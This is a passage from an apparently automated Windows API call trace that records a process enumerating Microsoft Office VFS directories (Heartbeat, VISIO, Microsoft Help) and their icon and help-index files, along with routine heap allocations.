ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0232.086] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heartbeat", cAlternateFileName="HEARTB~1")) returned 1 [0232.086] GetProcessHeap () returned 0xc10000 [0232.086] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0232.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0232.087] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.087] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0232.087] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0232.087] GetProcessHeap () returned 0xc10000 [0232.087] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 0 [0232.088] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0232.088] GetProcessHeap () returned 0xc10000 [0232.088] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.088] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0232.088] GetProcessHeap () returned 0xc10000 [0232.088] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0232.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\VISIO\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0232.097] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.097] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0232.097] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0232.097] GetProcessHeap () returned 0xc10000 [0232.097] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0232.097] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0232.098] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0232.098] GetProcessHeap () returned 0xc10000 [0232.098] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0232.099] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0232.099] GetProcessHeap () returned 0xc10000 [0232.099] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0232.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0232.131] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.138] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45c4958, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1 [0232.138] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf455209f, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.16.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0232.138] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4315e64, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.16.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0232.138] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf455209f, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.16.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0232.138] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC.16.1033.hxn", cAlternateFileName="MSLYNC~1.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_BASIC.16.1033.hxn", cAlternateFileName="MSLYNC~2.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_ONLINE.16.1033.hxn", cAlternateFileName="MSLYNC~3.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4610c9d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.16.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4315e64, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.16.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3f5c319, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.16.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed2ca0b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed2ca0b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42efb5b, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.16.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0232.139] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf401af21, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.16.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3f825df, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.16.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed31650e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed31650e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4315e64, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.16.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB.16.1033.hxn", cAlternateFileName="MSSKYP~1.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_BASIC.16.1033.hxn", cAlternateFileName="MSSKYP~2.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINE.16.1033.hxn", cAlternateFileName="MSSKYP~3.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed552881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed552881, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44471a3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINEG.16.1033.hxn", cAlternateFileName="MSSKYP~4.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45c4958, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SPREADSHEETCOMPARE.16.1033.hxn", cAlternateFileName="MSSPRE~1.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xf3e9d89c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.16.1033.hxn", cAlternateFileName="MSVISI~1.HXN")) returned 1 [0232.140] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xf3e9d89c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.16.1033.hxn", cAlternateFileName="MSVISI~2.HXN")) returned 1 [0232.141] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xf3e9d89c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.16.1033.hxn", cAlternateFileName="MSVISI~3.HXN")) returned 1 [0232.141] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x3b809370, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.16.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1 [0232.141] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x3b809370, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ_STD.16.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1 [0232.141] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, 